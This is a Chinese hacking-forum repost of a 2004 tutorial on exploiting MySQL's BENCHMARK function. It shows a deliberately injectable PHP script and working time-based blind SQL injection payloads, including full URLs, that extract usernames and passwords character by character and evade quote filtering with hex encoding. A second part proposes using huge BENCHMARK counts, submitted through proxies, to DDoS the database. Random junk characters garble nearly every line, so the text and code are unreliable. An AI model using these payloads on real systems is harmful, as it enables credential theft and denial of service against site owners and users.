找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 0 m+ E# \+ b4 }. p# g* U0 @- {
本文作者:SuperHei
9 B8 _7 u, y! Q4 y% T- e  N! Q文章性质:原创
: U$ q) X6 g9 N( P发布日期:2005-01-023 i* T  I! I) K, m+ |9 t) t/ l: ?
完成日期:2004-07-09 9 N' e' h/ G, w2 c7 y* ?
第一部
9 g5 J, J" D4 N2 v* ]7 h3 O" r( d& n3 c& L% d. X. a* v/ w# {
利用时间推延进行注射---BENCHMARK函数在注射中的利用
( ~! H2 f: A) C, j4 d: F" @% U
一.前言/思路
/ {) z; k- B: z1 v, j9 X
) v6 L6 B- t1 `; T3 S' C6 k  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。& U/ @! p% ?# r, E% M

! q/ d4 j9 k% S8 [  q! M  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
: r( P* y& {/ Q6 R3 X4 l6 K2 Y- C4 S' k# J' U  _7 ~$ O/ S
二.关于BENCHMARK函数0 y/ c5 C( B. s! l$ x

* J# C4 y: B5 ~3 ?  在MySQL参考手册里可以看到如下描叙: + K: I: Y: q7 w4 F5 }; O
( j6 ]1 r# ?" D: @. k* n

  i7 h& S7 }- O: G1 f' Z: Z0 K--------------------------------------------------------------------------------
7 ^4 N6 X. c! d8 j6 A# B' o% L8 w
0 O6 }. P  g0 M" C  hBENCHMARK(count,expr)
8 p, k  B! d! p* X7 iBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 & s0 @/ I* g* X' i* O/ V
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
) B3 A) E( H( G4 K! U0 U! E" V+----------------------------------------------+
% v+ m; q2 t, _2 H, ]| BENCHMARK(1000000,encode("hello","goodbye")) | 8 _# g* j) L3 A" h6 F4 X! I. c
+----------------------------------------------+ ( m/ F( {0 u0 l
| 0 |
5 p; [- y5 A9 _. |: j- k$ C' I+----------------------------------------------+ 4 f3 n% ~: S3 S9 c
1 row in set (4.74 sec)
0 U" F2 G5 ]9 k! G
! T! V3 @, F# ]# y报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。. j5 N+ \1 p8 w7 o

- B) g6 r3 p" e: }4 c  {+ j6 N- h& j8 |2 t% m
--------------------------------------------------------------------------------# F/ [- a6 \: O- W6 n9 A/ b

- K' M% A4 d0 R; a' D5 u  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 3 E7 D5 |, s/ @( z7 Z2 O

) R* Y: B# W* U. xmysql> select md5( 'test' ); ) a6 F; ]. i& f% g' r9 O5 Z
+----------------------------------+
( E- Y, E9 B& {) F4 q9 {| md5( 'test' ) | " a: ]7 v9 I) R9 }# V% U# n
+----------------------------------+ * G2 a% V" Y) H$ P7 n  }
| 098f6bcd4621d373cade4e832627b4f6 | ! t9 g8 b2 @: {* }
+----------------------------------+
8 u* S5 A$ V- a% G) T, v' f1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
/ H8 v$ [; P" d1 e
  Z" D3 i4 f* _( jmysql> select benchmark( 500000, md5( 'test' ) ); 4 g, _2 L  X: y# N0 I* N: f. E4 u
+------------------------------------+
: t; O  m7 d! f4 @1 A| benchmark( 500000, md5( 'test' ) ) | % I, m( P/ ^5 H- b( K4 k/ M+ g6 w8 y
+------------------------------------+ 3 `$ x  ^7 k; v! c  M6 p
| 0 | + w# ?- }5 \, \9 u
+------------------------------------+
; ~% R" J' n/ v1 row in set (6.55 sec) 〈------------执行时间为6.55 sec( V: p0 j1 w" j6 ?( j/ M: K+ S" L
1 T. r+ P1 N% ~* ?

* ?* g' U' q1 ~; A. N) I  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 9 [3 x' \6 ^) E) P
  _" o* y, f/ k/ ~  p  u
三.具体例子" p1 z, q5 n. W) s% g

8 }; Y' `" _8 _: @" d  首先我们看个简单的php代码:0 T7 T: o2 q  W+ R- g. Z
6 T! h/ R  c% [
< ?php : x  r6 G. K' S: `
$servername = "localhost";
+ @7 s, A: G4 H. R2 {! j6 j+ ^  F$dbusername = "root";
6 O! t9 C& g8 D' j  J6 I  `$dbpassword = ""; 0 x% h6 ?1 e/ `" C& [5 K3 q0 Z
$dbname = "injection";
& |, Z+ x3 F* g. X! @4 m* h( d
7 q" \/ N) _! d; X5 R  [$ H+ g$ emysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); & Z* |( Y: h4 ?! C$ l

% Z$ F. W' b, m; Y$ a8 u8 C$sql = "SELECT * FROM article WHERE articleid=$id";
* M8 U. }: ^$ `$ M+ z; y$result = mysql_db_query($dbname,$sql);
3 D0 @- q3 u1 A( Y+ u, A/ v$row = mysql_fetch_array($result);
: c* B; V4 [7 c9 Q$ q1 h! m% x9 z6 q& z5 K# ]9 L) r& ]
if (!$row) 7 }" `- Z/ ]5 w2 [- ?
{
: T7 x  F5 [' K# S$ P" p8 Bexit;
3 T6 ^* c0 i4 R* B; e}
5 m+ g& A" T9 Y, Y?>
* \2 s* o3 W/ v6 x  c8 j# R  G/ b $ w' ?" Y5 u$ d

! q- e' A- b/ j2 G: B( H# b  数据库injection结构和内容如下:! m5 E+ {. g7 s1 }3 m
) l5 W) F1 s% V/ ?% U) ^
# 数据库 : `injection` . R$ J3 `2 ^* s- S; [6 g+ @2 I
#
8 b$ V4 f; S! j; K. `3 G
) h) ^" u' ?/ r- H6 P3 u" {# --------------------------------------------------------
, ~4 ^6 p7 a3 L8 n$ O
; }8 e2 l% [4 H#   d6 C7 B8 C' M
# 表的结构 `article`
# G" Z8 J( a; |5 F#
5 |  w+ M3 D9 T8 n$ ~
* R% s/ ~8 A7 K: \  }CREATE TABLE `article` ( ' I9 U2 V0 q# a) a" `
`articleid` int(11) NOT NULL auto_increment,
, m2 _2 p! p8 h* n`title` varchar(100) NOT NULL default '', ; j0 F7 u6 q0 x7 j. {
`content` text NOT NULL, 5 p6 H7 @$ h0 z8 @. j
PRIMARY KEY (`articleid`)
! g( P0 _- r7 P) }5 j/ m# [' y) TYPE=MyISAM AUTO_INCREMENT=3 ; ' o/ L, j3 ?# w7 |

% e( D! K. U5 x% A# : U8 ?0 e' x. b7 I6 D" c  Q+ m
# 导出表中的数据 `article` & ^' ?4 t  d1 d5 k! o* S
#
6 R, u- U0 j. ^9 j) L. \+ M, f* m; b- f( e, T
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( P' ?5 E' c% b/ N5 L
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ( R1 F0 p1 G+ I3 y+ w7 U6 X

! ]0 Q* t) T6 l  l% ]! y4 e& V# -------------------------------------------------------- 6 T5 |* Z: d, A2 o) _" D+ u

9 X: J) p' f( [, g# 6 v" R1 r0 {! Q3 h8 c) f- ~: d
# 表的结构 `user`
9 O% B7 O+ A: o( r! P+ g#
! ~# r9 U" @3 u  G# ]7 s  c  k  {5 K2 \( t/ Z( `5 B
CREATE TABLE `user` ( + A  I6 {: q. }/ F. `/ q5 K
`userid` int(11) NOT NULL auto_increment, 0 e2 `+ Z. L1 L6 ], K; A& r; f
`username` varchar(20) NOT NULL default '',
: Q: q5 D# N, ^9 n4 H! j' }2 \`password` varchar(20) NOT NULL default '', + T* C2 K3 H5 Q4 Z# r
PRIMARY KEY (`userid`) ) }! v+ K4 U! b2 g! c
) TYPE=MyISAM AUTO_INCREMENT=3 ;
! k! E6 o; O5 [1 t( j2 b6 f5 Y) M  W) @
#
; u& @1 A6 L0 m; ]" y- ~* p# 导出表中的数据 `user`
9 T6 X1 A" B% Z$ ]! M* P1 C# 6 U- G, i4 E) w. o) j1 p6 O/ x* g
+ K: M+ V9 g6 O, K5 d
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 8 \( y) [0 \1 Z) }' s
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
; ?9 Y. e8 i! y ( B2 z/ a6 W& a7 k# B  X" W6 e
* ~+ S& V' Q  Y" b) n% k3 [
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:: C: y  x, J; S4 ^8 G# }

. \( |8 P/ C% Aid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
  R9 r% y0 p0 a. J
5 ^# R+ x5 ~* P5 p, h! Q9 c: S6 E, s; H& Q3 A& ?
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:6 Q: m. K' V. i+ l* v8 t
; r& Y2 F0 ]( [
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*6 L# g  p# m0 c( D; E9 F
3 p/ X( |' X2 i
% |, ^* R. |* m, W) S4 t  w/ h
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
8 j  L1 [+ l, F! L5 p+ u9 F- R; ?! R
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
$ Y* w/ X8 C# B) K4 {8 y' Y/ N( @0 D0 S  X& y- J6 e9 a
第二部# a8 a: L& \$ G9 O# [+ b3 v
. m+ k4 ]3 p& N7 y
利用BENCHMARK函数进行ddos攻击 . z( r3 @$ d! w8 o, P
' A& h2 A+ l+ _
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
. U9 {* n# f: Q: a
9 x6 K4 u% M( x' Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))' ]9 |! Y0 a+ {1 ~* T8 A

! t) t6 j8 \- c8 k- ?( P
/ d! b8 K1 V5 Q8 a小结
/ D$ t5 f2 B5 ?; t
4 b& k# ^& e9 b. t# u- y- r; Q" O' {  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
' Q7 Y3 W6 t$ [7 z8 M+ `' p
( j5 X2 ?6 Q6 G: ^& W. i7 t( Y  3 L8 N+ |" J7 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表